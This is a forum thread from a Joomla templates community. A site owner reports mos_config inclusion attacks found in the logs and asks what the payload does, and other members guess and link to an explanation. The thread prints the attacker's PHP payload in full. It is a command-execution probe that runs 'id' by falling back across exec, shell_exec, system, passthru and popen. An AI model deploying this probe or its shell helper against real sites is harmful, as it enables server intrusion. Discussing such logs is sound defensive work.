Joomla Templates Club 406,261 posts

[nefar Friend nefarJoin date: December 2007Posts: 434Downloads:0Uploads:2 Thanks: 78 Thanked: 42 times in 1 posts]

#136357

I don’t know about anyone else but I have my security set to on with sh404sef.

So today I decided I would actually take a look at my logs and I found 84 mos_config attacks.

There were multiple websites that tried to pass a .txt file in which I will post below. I was just curious if anyone knows what the functions he’s trying to pass actually do.

<?php
echo “Mic22”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

[questbg Friend questbgJoin date: May 2008Posts: 1912Downloads:0Uploads:1 Thanks: 146 Thanked: 339 times in 197 posts]

#283446

To be honest, I haven’t got a clue what that’s trying to do, I would guess at running some kind of routine to crack the password?

Whatever it is, it scares the hell out of me!

[bennitos Friend bennitosJoin date: May 2008Posts: 1717Downloads:0Uploads:39 Thanks: 39 Thanked: 474 times in 407 posts]

#283483

On the site below you will find a good explanation of what it does, and how you can avoid it.

http://www.ivorde.ro/libwwwperl5805_User_agent_bot_visited_my_website-28.html

All the information you need is in there!

2 users say Thank You to bennitos for this useful post

1. nefar
2. mihirc

[nefar Friend nefarJoin date: December 2007Posts: 434Downloads:0Uploads:2 Thanks: 78 Thanked: 42 times in 1 posts]

#283637

Pwee– Ice storm out here knocked out my power for nearly two days just got back 😉
Back to work now, thanks for the info.

[Author]

Posts